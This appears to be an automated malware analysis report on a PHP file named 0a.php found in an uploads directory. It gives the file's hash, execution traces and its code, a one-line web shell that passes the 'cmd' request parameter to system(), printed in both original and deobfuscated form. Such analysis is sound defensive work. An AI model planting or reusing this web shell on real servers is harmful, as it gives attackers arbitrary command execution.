PHP Malware Analysis

0a.php

md5: a88504c9a682fb9e25cc9140094c41f0

Jump to: 

Screenshot
Attributes
Execution

Deobfuscated PHP code
<?php

if (isset($_REQUEST['cmd'])) {
    echo "<pre>";
    $cmd = $_REQUEST['cmd'];
    system($cmd);
    echo "</pre>";
    die;
}
Execution traces
data/traces/a88504c9a682fb9e25cc9140094c41f0_trace-1676243289.0196.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:08:34.917449]
1	0	1	0.000231	393464
1	3	0	0.000306	394544	{main}	1		/var/www/html/uploads/0a.php	0	0
1	3	1	0.000329	394544
			0.000361	314200
TRACE END   [2023-02-12 21:08:34.917646]


Generated HTML code
<html><head></head><body></body></html>
Original PHP code
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }